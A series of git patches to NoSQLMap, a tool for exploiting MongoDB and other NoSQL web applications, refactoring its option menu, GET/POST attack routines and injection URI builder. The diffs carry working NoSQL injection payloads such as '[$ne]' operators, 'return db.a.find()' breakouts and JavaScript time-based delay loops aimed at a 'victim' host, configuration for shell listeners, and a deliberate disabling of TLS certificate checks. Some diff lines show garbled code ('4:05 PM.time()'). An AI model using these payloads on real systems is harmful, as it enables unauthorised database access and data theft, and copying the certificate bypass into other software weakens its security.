+ print "Bad octet in IP address."
+ goodDigits = False
+
+ except:
+ #Must be a DNS name (for now)
+
+ notDNS = False
+
+ #If everything checks out set the IP and break the loop
+ if goodDigits == True or notDNS == False:
+ print "\nTarget set to " + victim + "\n"
+ optionSet[0] = True
+
+ elif select == "2":
+ webPort = raw_input("Enter the HTTP port for web apps: ")
+ print "\nHTTP port set to " + webPort + "\n"
+ optionSet[1] = True
+
+ elif select == "3":
+ uri = raw_input("Enter URI Path (Press enter for no URI): ")
+ print "\nURI Path set to " + uri + "\n"
+ optionSet[2] = True
+
+ elif select == "4":
+ if https == "OFF":
+ print "HTTPS enabled."
+ https = "ON"
+ optionSet[8] = True
+
+ elif https == "ON":
+ print "HTTPS disabled."
+ https = "OFF"
+ optionSet[8] = True
+
+
+ elif select == "5":
+ dbPort = int(raw_input("Enter target MongoDB port: "))
+ print "\nTarget Mongo Port set to " + str(dbPort) + "\n"
+ optionSet[7] = True
+
+ elif select == "6":
+ httpMethod = True
+ while httpMethod == True:
+
+ print "1-Send request as a GET"
+ print "2-Send request as a POST"
+ httpMethod = raw_input("Select an option: ")
+
+ if httpMethod == "1":
+ httpMethod = "GET"
+ print "GET request set"
+ requestHeaders = {}
+ optionSet[3] = True
+
+ elif httpMethod == "2":
+ print "POST request set"
+ optionSet[3] = True
+ postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n")
+ pdArray = postDataIn.split(",")
+ paramNames = pdArray[0::2]
+ paramValues = pdArray[1::2]
+ postData = dict(zip(paramNames,paramValues))
+ httpMethod = "POST"
+
+ else:
+ print "Invalid selection"
+
+ elif select == "7":
+ #Unset the setting boolean since we're setting it again.
+ optionSet[4] = False
+
+ while optionSet[4] == False:
+ goodLen = False
+ goodDigits = True
+ #Every time when user input Invalid IP, goodLen and goodDigits should be reset. If this is not done, there will be a bug
+ #For example enter 10.0.0.1234 first and the goodLen will be set to True and goodDigits will be set to False
+ #Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables
+ myIP = raw_input("Enter the host IP for my " + platform +"/Shells: ")
+ #make sure we got a valid IP
+ octets = myIP.split(".")
+ #If there aren't 4 octets, toss an error.
+ if len(octets) != 4:
+ print "Invalid IP length."
+
+ else:
+ goodLen = True
+
+ if goodLen == True:
+ #If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
+ for item in octets:
+ if int(item) < 0 or int(item) > 255:
+ print "Bad octet in IP address."
+ goodDigits = False
+
+# else:
+# goodDigits = True
+ #Default value of goodDigits should be set to True
+ #for example 12.12345.12.12
+
+
+ #If everything checks out set the IP and break the loop
+ if goodLen == True and goodDigits == True:
+ print "\nShell/DB listener set to " + myIP + "\n"
+ optionSet[4] = True
+
+ elif select == "8":
+ myPort = raw_input("Enter TCP listener for shells: ")
+ print "Shell TCP listener set to " + myPort + "\n"
+ optionSet[5] = True
+
+ elif select == "9":
+ if verb == "OFF":
+ print "Verbose output enabled."
+ verb = "ON"
+ optionSet[6] = True
+
+ elif verb == "ON":
+ print "Verbose output disabled."
+ verb = "OFF"
+ optionSet[6] = True
+
+ elif select == "0":
+ loadPath = raw_input("Enter file name to load: ")
+ try:
+ fo = open(loadPath,"r" )
+ csvOpt = fo.readlines()
+ fo.close()
+ optList = csvOpt[0].split(",")
+ victim = optList[0]
+ webPort = optList[1]
+ uri = optList[2]
+ httpMethod = optList[3]
+ myIP = optList[4]
+ myPort = optList[5]
+ verb = optList[6]
+ https = optList[7]
+
+ if httpMethod == "POST":
+ postData = ast.literal_eval(csvOpt[1])
+
+ #Set option checking array based on what was loaded
+ x = 0
+ for item in optList:
+ if item != "Not Set":
+ optionSet[x] = True
+ x += 1
+ except:
+ print "Couldn't load options file!"
+
+ elif select == "a":
+ loadPath = raw_input("Enter path to Burp request file: ")
+
+ try:
+ fo = open(loadPath,"r")
+ reqData = fo.readlines()
+
+ except:
+ raw_input("error reading file. Press enter to continue...")
+ return
+
+ methodPath = reqData[0].split(" ")
+
+ if methodPath[0] == "GET":
+ httpMethod = "GET"
+
+ elif methodPath[0] == "POST":
+ paramNames = []
+ paramValues = []
+ httpMethod = "POST"
+ postData = reqData[len(reqData)-1]
+ #split the POST parameters up into individual items
+ paramsNvalues = postData.split("&")
+
+ for item in paramsNvalues:
+ tempList = item.split("=")
+ paramNames.append(tempList[0])
+ paramValues.append(tempList[1])
+
+ postData = dict(zip(paramNames,paramValues))
+
+ else:
+ print "unsupported method in request header."
+
+ victim = reqData[1].split( " ")[1].replace("\r\n","")
+ optionSet[0] = True
+ uri = methodPath[1].replace("\r\n","")
+ optionSet[2] = True
+
+ elif select == "b":
+ savePath = raw_input("Enter file name to save: ")
+ try:
+ fo = open(savePath, "wb")
+ fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https)
+
+ if httpMethod == "POST":
+ fo.write(",\n"+ str(postData))
+ fo.write(",\n" + str(requestHeaders) )
+ fo.close()
+ print "Options file saved!"
+ except:
+ print "Couldn't save options file."
+
+ elif select == "h":
+ reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n")
+ reqHeadersArray = reqHeadersIn.split(",")
+ headerNames = reqHeadersArray[0::2]
+ headerValues = reqHeadersArray[1::2]
+ requestHeaders = dict(zip(headerNames, headerValues))
+
+ elif select == "x":
+ return
+
+
+def signal_handler(signal, frame):
+ print "\n"
+ print "CTRL+C detected. Exiting."
+ sys.exit()
+
+if __name__ == '__main__':
+ main()
diff --git a/nsmweb.py b/nsmweb.py
index 2881f82..c8cb075 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -6,7 +6,7 @@
import itertools
import re
-def getApps():
+def getApps(victim,webPort,uri,https,verb):
print "Web App Attacks (GET)"
print "==============="
paramName = []
@@ -46,9 +46,9 @@ def getApps():
if appRespCode == 200:
normLength = int(len(urllib2.urlopen(req).read()))
timeReq = urllib2.urlopen(req)
- start = 4:05 PM.time()
+ start = time.time()
page = timeReq.read()
- end = 4:05 PM.time()
+ end = time.time()
timeReq.close()
timeBase = round((end - start), 3)
@@ -260,10 +260,10 @@ def getApps():
print "Starting Javascript integer escape time based injection..."
req = urllib2.Request(uriArray[9], None, requestHeaders)
- start = 4:05 PM.time()
+ start = time.time()
intTimeInj = urllib2.urlopen(req)
page = intTimeInj.read()
- end = 4:05 PM.time()
+ end = time.time()
intTimeInj.close()
#print str(end)
#print str(start)
@@ -371,9 +371,9 @@ def postApps():
normLength = int(len(urllib2.urlopen(req).read()))
timeReq = urllib2.urlopen(req)
- start = 4:05 PM.time()
+ start = time.time()
page = timeReq.read()
- end = 4:05 PM.time()
+ end = time.time()
timeReq.close()
timeBase = round((end - start), 3)
@@ -609,9 +609,9 @@ def postApps():
postData.update({injOpt:"a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(curDate.getTime()-date.getTime()))/1000 < 10); return true; var dummy='a"})
body = urllib.urlencode(postData)
conn = urllib2.urlopen(req,body)
- start = 4:05 PM.time()
+ start = time.time()
page = conn.read()
- end = 4:05 PM.time()
+ end = time.time()
conn.close()
print str(end)
print str(start)
@@ -629,10 +629,10 @@ def postApps():
postData.update({injOpt:"1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"})
body = urllib.urlencode(postData)
- start = 4:05 PM.time()
+ start = time.time()
conn = urllib2.urlopen(req,body)
page = conn.read()
- end = 4:05 PM.time()
+ end = time.time()
conn.close()
print str(end)
print str(start)
From 68115900cab926a588d965411182598ae3ffe2b0 Mon Sep 17 00:00:00 2001
From: tcstool
Date: Sat, 25 Jun 2016 19:51:26 -0500
Subject: [PATCH 12/99] Features and Bugfixes
Add multi parameter GET attacks. Fix a couple of bugs around URL
generation.
---
nosqlmap.py | 16 ++++++---
nsmweb.py | 94 +++++++++++++++++++++++++++++++++--------------------
2 files changed, 70 insertions(+), 40 deletions(-)
diff --git a/nosqlmap.py b/nosqlmap.py
index a1a8c20..c90fe26 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -55,7 +55,13 @@ def mainMenu():
global victim
global dbPort
global myIP
- global myPort
+ global webPort
+ global uri
+ global httpMethod
+ global https
+ global verb
+ global requestHeaders
+ global postData
mmSelect = True
while mmSelect:
@@ -100,10 +106,10 @@ def mainMenu():
#Check minimum required options
if (optionSet[0] == True) and (optionSet[2] == True):
if httpMethod == "GET":
- nsmweb.getApps()
+ nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders)
- else:
- nsmweb.postApps()
+ elif httpMethod == "POST":
+ nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders)
else:
raw_input("Options not set! Check host and URI path. Press enter to continue...")
@@ -130,6 +136,7 @@ def platSel():
global dbPort
select = True
print "\n"
+
while select:
print "1-MongoDB"
print "2-CouchDB"
@@ -145,7 +152,6 @@ def platSel():
dbPort = 5984
return
else:
- psel = True
raw_input("Invalid selection. Press enter to continue.")
def options():
diff --git a/nsmweb.py b/nsmweb.py
index c8cb075..d960ea8 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -1,16 +1,30 @@
-import httplib2
import urllib
import urllib2
-import json
+import string
+import nsmmongo
+from sys import version_info
import datetime
-import itertools
-import re
+import time
+import random
-def getApps(victim,webPort,uri,https,verb):
+def httpRequestor (httpReq):
+ #Need to determine version of Python that's running to figure out how to handle self-signed certs.
+ if version_info() >= (2,7,9):
+ import ssl
+ ssl._create_default_https_context = ssl._create_unverified_context
+
+
+
+
+
+
+def getApps(webPort,victim,uri,https,verb,requestHeaders):
print "Web App Attacks (GET)"
print "==============="
paramName = []
global testNum
+ global httpMethod
+ httpMethod = "GET"
testNum = 1
paramValue = []
global vulnAddrs
@@ -19,6 +33,8 @@ def getApps(victim,webPort,uri,https,verb):
possAddrs = []
timeVulnsStr = []
timeVulnsInt = []
+ yes_tag = ['y', 'Y']
+ no_tag = ['n', 'N']
appUp = False
strTbAttack = False
intTbAttack = False
@@ -30,7 +46,6 @@ def getApps(victim,webPort,uri,https,verb):
str24 = False
global int24
int24 = False
- global requestHeaders
#Verify app is working.
print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..."
@@ -107,7 +122,7 @@ def getApps(victim,webPort,uri,https,verb):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
+ checkResult(randLength,injLen,testNum,verb)
testNum += 1
else:
testNum += 1
@@ -125,7 +140,7 @@ def getApps(victim,webPort,uri,https,verb):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
+ checkResult(randLength,injLen,testNum,verb)
testNum += 1
else:
@@ -144,7 +159,7 @@ def getApps(victim,webPort,uri,https,verb):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
+ checkResult(randLength,injLen,testNum,verb)
testNum +=1
else:
@@ -163,7 +178,7 @@ def getApps(victim,webPort,uri,https,verb):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
+ checkResult(randLength,injLen,testNum,verb)
testNum += 1
else:
testNum += 1
@@ -180,7 +195,7 @@ def getApps(victim,webPort,uri,https,verb):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
+ checkResult(randLength,injLen,testNum,verb)
testNum +=1
else:
@@ -198,7 +213,7 @@ def getApps(victim,webPort,uri,https,verb):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
+ checkResult(randLength,injLen,testNum,verb)
testNum += 1
else:
testNum += 1
@@ -215,7 +230,7 @@ def getApps(victim,webPort,uri,https,verb):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
+ checkResult(randLength,injLen,testNum,verb)
testNum += 1
else:
testNum += 1
@@ -233,18 +248,19 @@ def getApps(victim,webPort,uri,https,verb):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
+ checkResult(randLength,injLen,testNum,verb)
testNum += 1
+
doTimeAttack = raw_input("Start timing based tests (y/n)? ")
if doTimeAttack in yes_tag:
print "Starting Javascript string escape time based injection..."
req = urllib2.Request(uriArray[18], None, requestHeaders)
- start = 4:05 PM.time()
+ start = time.time()
strTimeInj = urllib2.urlopen(req)
page = strTimeInj.read()
- end = 4:05 PM.time()
+ end = time.time()
strTimeInj.close()
#print str(end)
#print str(start)
@@ -331,12 +347,14 @@ def getApps(victim,webPort,uri,https,verb):
raw_input("Press enter to continue...")
return()
-def postApps():
+def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
print "Web App Attacks (POST)"
print "==============="
paramName = []
paramValue = []
global vulnAddrs
+ global httpMethod
+ httpMethod = "POST"
vulnAddrs = []
global possAddrs
possAddrs = []
@@ -347,10 +365,8 @@ def postApps():
intTbAttack = False
trueStr = False
trueInt = False
- global postData
global neDict
global gtDict
- global requestHeaders
testNum = 1
#Verify app is working.
@@ -447,7 +463,7 @@ def postApps():
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
+ checkResult(randLength,injLen,testNum,verb)
testNum += 1
else:
@@ -474,7 +490,7 @@ def postApps():
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
+ checkResult(randLength,injLen,testNum,verb)
testNum += 1
postData.update({injOpt:"a'; return db.a.find(); var dummy='!"})
@@ -491,7 +507,7 @@ def postApps():
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
+ checkResult(randLength,injLen,testNum,verb)
testNum += 1
else:
testNum += 1
@@ -511,7 +527,7 @@ def postApps():
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
+ checkResult(randLength,injLen,testNum,verb)
testNum += 1
else:
testNum += 1
@@ -532,7 +548,7 @@ def postApps():
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
+ checkResult(randLength,injLen,testNum,verb)
testNum += 1
else:
@@ -553,7 +569,7 @@ def postApps():
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
+ checkResult(randLength,injLen,testNum,verb)
testNum += 1
else:
@@ -575,7 +591,7 @@ def postApps():
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
+ checkResult(randLength,injLen,testNum,verb)
testNum += 1
print "\n"
else:
@@ -595,7 +611,7 @@ def postApps():
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
+ checkResult(randLength,injLen,testNum,verb)
testNum += 1
else:
@@ -724,7 +740,7 @@ def errorTest (errorCheck,testNum):
-def checkResult(baseSize,respSize,testNum):
+def checkResult(baseSize,respSize,testNum,verb):
global vulnAddrs
global possAddrs
global lt24
@@ -834,7 +850,7 @@ def buildUri(origUri, randValue):
paramValue = []
global uriArray
uriArray = ["","","","","","","","","","","","","","","","","","",""]
- injOpt = ""
+ injOpt = []
#Split the string between the path and parameters, and then split each parameter
try:
@@ -857,11 +873,17 @@ def buildUri(origUri, randValue):
menuItem += 1
try:
- injIndex = raw_input("Which parameter should we inject? ")
- injOpt = str(paramName[int(injIndex)-1])
- print "Injecting the " + injOpt + " parameter..."
+ injIndex = raw_input("Enter parameters to inject in a comma separated list: ")
- except:
+ for params in injIndex.split(","):
+ injOpt.append(paramName[int(params)-1])
+
+ #injOpt = str(paramName[int(injIndex)-1])
+
+ for params in injOpt:
+ print "Injecting the " + params + " parameter..."
+
+ except Exception:
raw_input("Something went wrong. Press enter to return to the main menu...")
return
@@ -887,7 +909,8 @@ def buildUri(origUri, randValue):
uriArray[18] = split_uri[0] + "?"
for item in paramName:
- if paramName[x] == injOpt:
+
+ if paramName[x] in injOpt:
uriArray[0] += paramName[x] + "=" + randValue + "&"
uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&"
uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&"
@@ -933,7 +956,7 @@ def buildUri(origUri, randValue):
#Clip the extra & off the end of the URL
x = 0
- while x <= 17:
+ while x <= 18:
uriArray[x]= uriArray[x][:-1]
x += 1
@@ -941,6 +964,7 @@ def buildUri(origUri, randValue):
def getDBInfo():
curLen = 0
+ yes_tag = ['y', 'Y']
nameLen = 0
gotFullDb = False
gotNameLen = False
From 54b36cf9f1fa817dd88cc8e97cd822241c0a5867 Mon Sep 17 00:00:00 2001
From: tcstool
Date: Sat, 25 Jun 2016 20:45:10 -0500
Subject: [PATCH 13/99] SSL Self-Signed Certificate Fix
---
nsmweb.py | 13 ++++---------
1 file changed, 4 insertions(+), 9 deletions(-)
diff --git a/nsmweb.py b/nsmweb.py
index d960ea8..ef6dd62 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -7,16 +7,11 @@
import time
import random
-def httpRequestor (httpReq):
- #Need to determine version of Python that's running to figure out how to handle self-signed certs.
- if version_info() >= (2,7,9):
- import ssl
- ssl._create_default_https_context = ssl._create_unverified_context
-
-
-
-
+#Fix for dealing with self-signed certificates. This is wrong and highly discouraged, but it's a hacking tool, so it's fixed with a hack. Get over it :-)
+if version_info >= (2, 7, 9):
+ import ssl
+ ssl._create_default_https_context = ssl._create_unverified_context
def getApps(webPort,victim,uri,https,verb,requestHeaders):
print "Web App Attacks (GET)"
From 71bc64ce8768aa770e1c355c07b618a756a110fc Mon Sep 17 00:00:00 2001
From: tcstool
Date: Sat, 25 Jun 2016 20:55:16 -0500
Subject: [PATCH 14/99] Boilerplates and version update
---
README.md | 2 +-
nosqlmap.py | 4 ++--
nsmcouch.py | 2 +-
nsmmongo.py | 2 +-
nsmscan.py | 15 +++++++++++++++
nsmweb.py | 15 +++++++++++++++
6 files changed, 35 insertions(+), 5 deletions(-)
diff --git a/README.md b/README.md
index 11510b1..3fe4146 100644
--- a/README.md
+++ b/README.md
@@ -1,7 +1,7 @@
NoSQLMap
========
-[NoSQLMap](http://www.nosqlmap.net) v0.5
+[NoSQLMap](http://www.nosqlmap.net) v0.7
Introduction
============
diff --git a/nosqlmap.py b/nosqlmap.py
index c90fe26..b17dca8 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -1,5 +1,5 @@
#!/usr/bin/python
-#NoSQLMap Copyright 2014 Russell Butturini
+#NoSQLMap Copyright 2016 Russell Butturini
#This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
@@ -74,7 +74,7 @@ def mainMenu():
print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |"
print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/"
print "===================================================="
- print "NoSQLMap-v0.6ALPHA"
+ print "NoSQLMap-v0.7"
print "nosqlmap@gmail.com"
print "\n"
print "1-Set options"
diff --git a/nsmcouch.py b/nsmcouch.py
index 1a0c525..2a1df20 100644
--- a/nsmcouch.py
+++ b/nsmcouch.py
@@ -1,5 +1,5 @@
#!/usr/bin/python
-#NoSQLMap Copyright 2014 Russell Butturini
+#NoSQLMap Copyright 2016 Russell Butturini
#This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
diff --git a/nsmmongo.py b/nsmmongo.py
index 638c97d..686b018 100644
--- a/nsmmongo.py
+++ b/nsmmongo.py
@@ -1,5 +1,5 @@
#!/usr/bin/python
-#NoSQLMap Copyright 2014 Russell Butturini
+#NoSQLMap Copyright 2016 Russell Butturini
#This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
diff --git a/nsmscan.py b/nsmscan.py
index a5f05c6..b287a0b 100644
--- a/nsmscan.py
+++ b/nsmscan.py
@@ -1,3 +1,18 @@
+#!/usr/bin/python
+#NoSQLMap Copyright 2016 Russell Butturini
+#This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+#the Free Software Foundation, either version 3 of the License, or
+#(at your option) any later version.
+
+#This program is distributed in the hope that it will be useful,
+#but WITHOUT ANY WARRANTY; without even the implied warranty of
+#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+#GNU General Public License for more details.
+
+#You should have received a copy of the GNU General Public License
+#along with this program. If not, see .
+
import ipcalc
import nsmmongo
import nsmcouch
diff --git a/nsmweb.py b/nsmweb.py
index ef6dd62..d537c12 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -1,3 +1,18 @@
+#!/usr/bin/python
+#NoSQLMap Copyright 2016 Russell Butturini
+#This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+#the Free Software Foundation, either version 3 of the License, or
+#(at your option) any later version.
+
+#This program is distributed in the hope that it will be useful,
+#but WITHOUT ANY WARRANTY; without even the implied warranty of
+#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+#GNU General Public License for more details.
+
+#You should have received a copy of the GNU General Public License
+#along with this program. If not, see .
+
import urllib
import urllib2
import string
From eeaba028f87ec9b61b3be21473aea43b8b7df539 Mon Sep 17 00:00:00 2001
From: tcstool
Date: Thu, 30 Jun 2016 20:49:41 -0500
Subject: [PATCH 15/99] Fix bug causing POST testing to fail
---
nsmweb.py | 34 +++++++++++++++++-----------------
1 file changed, 17 insertions(+), 17 deletions(-)
diff --git a/nsmweb.py b/nsmweb.py
index d537c12..9d6782c 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -132,7 +132,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum,verb)
+ checkResult(randLength,injLen,testNum,verb,None)
testNum += 1
else:
testNum += 1
@@ -150,7 +150,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum,verb)
+ checkResult(randLength,injLen,testNum,verb,None)
testNum += 1
else:
@@ -169,7 +169,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum,verb)
+ checkResult(randLength,injLen,testNum,verb,None)
testNum +=1
else:
@@ -188,7 +188,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum,verb)
+ checkResult(randLength,injLen,testNum,verb,None)
testNum += 1
else:
testNum += 1
@@ -205,7 +205,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum,verb)
+ checkResult(randLength,injLen,testNum,verb,None)
testNum +=1
else:
@@ -223,7 +223,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum,verb)
+ checkResult(randLength,injLen,testNum,verb,None)
testNum += 1
else:
testNum += 1
@@ -240,7 +240,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum,verb)
+ checkResult(randLength,injLen,testNum,verb,None)
testNum += 1
else:
testNum += 1
@@ -258,7 +258,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum,verb)
+ checkResult(randLength,injLen,testNum,verb,None)
testNum += 1
@@ -473,7 +473,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum,verb)
+ checkResult(randLength,injLen,testNum,verb,postData)
testNum += 1
else:
@@ -500,7 +500,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum,verb)
+ checkResult(randLength,injLen,testNum,verb,postData)
testNum += 1
postData.update({injOpt:"a'; return db.a.find(); var dummy='!"})
@@ -517,7 +517,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum,verb)
+ checkResult(randLength,injLen,testNum,verb,postData)
testNum += 1
else:
testNum += 1
@@ -537,7 +537,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum,verb)
+ checkResult(randLength,injLen,testNum,verb,postData)
testNum += 1
else:
testNum += 1
@@ -558,7 +558,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum,verb)
+ checkResult(randLength,injLen,testNum,verb,postData)
testNum += 1
else:
@@ -579,7 +579,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum,verb)
+ checkResult(randLength,injLen,testNum,verb,postData)
testNum += 1
else:
@@ -601,7 +601,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum,verb)
+ checkResult(randLength,injLen,testNum,verb,postData)
testNum += 1
print "\n"
else:
@@ -621,7 +621,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum,verb)
+ checkResult(randLength,injLen,testNum,verb,postData)
testNum += 1
else:
@@ -750,7 +750,7 @@ def errorTest (errorCheck,testNum):
-def checkResult(baseSize,respSize,testNum,verb):
+def checkResult(baseSize,respSize,testNum,verb,postData):
global vulnAddrs
global possAddrs
global lt24
From 9d7d4b695b5412daa9e8cf2c7cfb03ef7f082ec3 Mon Sep 17 00:00:00 2001
From: tcstool
Date: Fri, 1 Jul 2016 05:52:44 -0500
Subject: [PATCH 16/99] Fix issue with postData variable
---
nsmweb.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/nsmweb.py b/nsmweb.py
index 9d6782c..21f9013 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -759,7 +759,7 @@ def checkResult(baseSize,respSize,testNum,verb,postData):
global httpMethod
global neDict
global gtDict
- global postData
+
delta = abs(respSize - baseSize)
if (delta >= 100) and (respSize != 0) :
From 62c4be556c537ab3fd45bd41cb72d6ac550c4ea9 Mon Sep 17 00:00:00 2001
From: tcstool
Date: Wed, 20 Jul 2016 20:55:24 -0500
Subject: [PATCH 17/99] setup.py corrections
---
nsmweb.py | 2 +-
setup.py | 6 +++---
2 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/nsmweb.py b/nsmweb.py
index 21f9013..548d57d 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -759,7 +759,7 @@ def checkResult(baseSize,respSize,testNum,verb,postData):
global httpMethod
global neDict
global gtDict
-
+
delta = abs(respSize - baseSize)
if (delta >= 100) and (respSize != 0) :
diff --git a/setup.py b/setup.py
index a51fbbc..0d78e7b 100644
--- a/setup.py
+++ b/setup.py
@@ -4,9 +4,9 @@
with open("README.md") as f:
setup(
name = "NoSQLMap",
- version = "0.5",
+ version = "0.7",
packages = find_packages(),
- scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py'],
+ scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py','nsmscan.py','nsmweb.py'],
entry_points = {
"console_scripts": [
@@ -18,7 +18,7 @@
"NoSQLMap==0.5", "pbkdf2==1.3", "pymongo==2.7.2",\
"requests==2.5.0"],
- author = "tcstools",
+ author = "tcstool",
author_email = "nosqlmap@gmail.com",
description = "Automated MongoDB and NoSQL web application exploitation tool",
license = "GPLv3",
From 2bccf32ab03972650aa9a31ac37468ea714b1695 Mon Sep 17 00:00:00 2001
From: tcstool
Date: Wed, 20 Jul 2016 20:58:25 -0500
Subject: [PATCH 18/99] Installer script fix
---
setup.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/setup.py b/setup.py
index 0d78e7b..c0d518b 100644
--- a/setup.py
+++ b/setup.py
@@ -15,7 +15,7 @@
},
install_requires = [ "CouchDB==1.0", "httplib2==0.9", "ipcalc==1.1.3",\
- "NoSQLMap==0.5", "pbkdf2==1.3", "pymongo==2.7.2",\
+ "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\
"requests==2.5.0"],
author = "tcstool",
From 9ecfd1b03a9567c4d2e40469928288b291d0f587 Mon Sep 17 00:00:00 2001
From: tcstool
Date: Thu, 21 Jul 2016 16:43:37 -0500
Subject: [PATCH 19/99] Remove yes_tag and replace w/string conversion
---
nsmweb.py | 15 ++++++---------
1 file changed, 6 insertions(+), 9 deletions(-)
diff --git a/nsmweb.py b/nsmweb.py
